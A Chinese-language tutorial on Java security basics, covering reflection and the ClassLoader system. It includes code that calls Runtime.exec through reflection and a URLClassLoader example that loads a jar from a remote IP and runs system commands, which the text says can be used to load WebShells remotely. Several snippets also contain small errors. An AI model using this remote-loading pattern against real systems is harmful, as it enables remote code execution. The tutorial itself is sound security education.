Java安全基础之Java反射机制和ClassLoader类加载机制
Java 反射机制
Java 反射(Reflection)是 Java 非常重要的动态特性。在运行状态中,通过 Java 的反射机制,我们能够判断一个对象所属的类。了解任意一个类的所有属性和方法。能够调用任意一个对象的任意方法和属性。
Java 反射机制可以无视类方法、变量的访问权限修饰符,并且可以调用类的任意方法、访问并修改成员变量值。
对于一般的程序员来说反射的意义不大,对于框架开发者来说,反射作用就非常大了,反射是各种容器、框架实现的核心技术。
获取 Class 对象
Java 反射操作的是 java.lang.Class 对象,所以我们需要先想办法获取到 Class 对象。
- 类字面常量来获取
Class<?> name = MyClass.class;
- 通过对象获取 getClass() 方法
MyClass obj = new MyClass();
Class<?> name = obj.getClass();
- 通过全限定名获取 Class.forName() 方法
Class<?> name = Class.forName("java.lang.Runtime");
- 使用 getSystemClassLoader().loadClass() 方法
Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
获取类成员变量
- getDeclaredFields 方法
获得类的成员变量数组,包括 public、private 和 proteced,但是不包括父类的声明字段。
Field[] fields = classname.getDeclaredFields();
- getDeclaredField 方法
该方法与 getDeclaredFields 的区别是只能获得类的单个成员变量。
Field field = classname.getDeclaredField("变量名");
- getFields 方法
getFields 能够获得某个类的所有的 public 字段,包括父类中的字段。
Field[] fields = classname.getFields();
- getField 方法
与 getFields 类似,getField 方法能够获得某个类特定的 public 字段,包括父类中的字段。
Field field = classname.getField(("变量名");
获取类方法
- getDeclaredMethods 方法
返回类或接口声明的所有方法,包括 public、protected、private 和默认方法,但不包括继承的方法。
Method[] methods = classname.getDeclaredMethods()
- getDeclaredMethod 方法
只能返回一个特定的方法,该方法的第一个参数为方法名,第二个参数名是方法参数。
Method methods = classname.getDeclaredMethods("方法名")
- getMethods 方法
返回某个类的所有 public 方法,包括其继承类的 public 方法。
Method[] methods = classname.getMethods();
- getMethod 方法
只能返回一个特定的方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象。
Method method = clazz.getMethod("方法名");
反射 java.lang.Runtime
java.lang.Runtime 有一个 exec 方法,可以反射调用 Runtime 类来执行本地系统命令。
不使用反射执行本地命令:
import java.io.IOException;
public class Exec {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
反射 Runtime 执行本地命令:
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ReflectionExec {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
InvocationTargetException, IllegalAccessException {
// 获取 Runtime 类
Class<?> clazz = Class.forName("java.lang.Runtime");
// 获取 Runtime 类的 getRuntime() 方法
Method getRuntimeMethod = clazz.getMethod("getRuntime");
// 调用 getRuntime() 方法,获取 Runtime 对象
Object runtimeObject = getRuntimeMethod.invoke(null);
// 获取 exec(String command) 方法
Method execMethod = clazz.getMethod("exec", String.class);
// 执行系统命令
execMethod.invoke(runtimeObject, "clac");
}
}
间接的调用 Runtime 的 exec 方法执行本地系统命令。
反射机制的功能很强大,不安全的反射可能会带来致命的漏洞。
ClassLoader 类加载机制
Java 是编译型语言,编写的 java 文件需要编译成后 class 文件后才能够被 JVM 运行。类加载器 ClassLoader 负责加载类文件,生成对应的 Class 对象。
JVM 提供的三种类加载器
- Bootstrap ClassLoader(启动类加载器)
负责加载 Java 的核心类,比如 java.lang.Object 等。它是由 C++ 实现的,并且不是 Java 类。
- Extension ClassLoader(扩展类加载器)
负责加载 Java 的扩展类,位于 <JAVA_HOME>/lib/ext 目录下的JAR包或类。
- System ClassLoader(系统类加载器)
也称为应用类加载器,负责加载应用程序的类,通常从 classpath 中加载类。
值得注意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,并不是 ClassLoader 的子类,无法直接获取对其的引用。所以尝试获取被 Bootstrap ClassLoader 类加载器所加载的类的 ClassLoader 时候都会返回 null。
除了这三种,还可以自定义类加载器。
ClassLoader 类中和加载类相关的方法
-
getParent() 返回该类加载器的父类加载器
-
loadClass() 加载指定的类
-
findClass() 查找指定的类
-
findLoadedClass() 查找已经被加载过的类
-
defineClass() 定义一个类
-
resolveClass() 链接指定的Java类
ClassLoader类加载流程
- 检查是否已经加载过类
在加载类之前,会首先使用 findLoadedClass() 方法判断该类是否已经被加载,如果已经加载过,则直接返回对应的 Class 对象。
- 委托给父类加载器
如果未被加载,则优先使用加载器的父类加载器进行加载,如果加载成功,则返回对应的 Class 对象。
- 自行尝试加载类
如果父类加载器无法加载该类,或者父类加载器为空,则会调用自身的 findClass() 方法尝试自行加载该类。
- 链接和初始化
在成功加载类之后,类加载器会对其进行链接和初始化操作。
- 返回 Class 对象
返回一个被 JVM 加载后的 java.lang.Class 类对象。
ClassLoader 的 loadClass 方法核心逻辑代码:
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
}
if (c == null) {
c = findClass(name);
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
自定义的类加载器
通过重写 findClass() 方法,利用 defineClass() 方法来将字节码转换成 java.lang.class 类对象,可以实现自定义的类加载器。
URLClassLoader
URLClassLoader 类是 ClassLoader 的一个实现,拥有从远程服务器上加载类的能力。
通过 URLClassLoader 可以实现远程的类方法调用,可以实现对一些 WebShell 的远程加载。
例如:通过 URLClassLoader 来加载一个远程的 jar 包执行本地命令
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
public class TestURLClassLoader {
public static void main(String[] args) throws IOException,
ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
IllegalAccessException {
// 定义远程加载的jar的URL路径
URL url = new URL("http://192.168.88.150/CMD.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 通过URLClassLoader加载远程jar包中的CMD类
Class<?> cmdClass = ucl.loadClass("CMD");
String cmd = "ls";
// 调用CMD类中的exec方法
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
}
}
其中远程的 CMD.jar 中就一个 CMD.class 文件,对应的 CMD.java 如下:
import java.io.IOException;
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
成功调用 CMD 类中的 exec 方法,执行了 ls 命令。
loadClass() 与 Class.forName() 的区别?
loadClass() 方法和 Class.forName() 方法都可以用于在运行时加载类。
主要区别:
-
loadClass() 方法是 ClassLoader 类的一个方法,通过指定的类加载器加载类,它在加载类时不会自动执行类的静态初始化代码。
-
Class.forName() 方法是 java.lang.Class 类的一个静态方法,它在加载类时会自动执行类的静态初始化代码。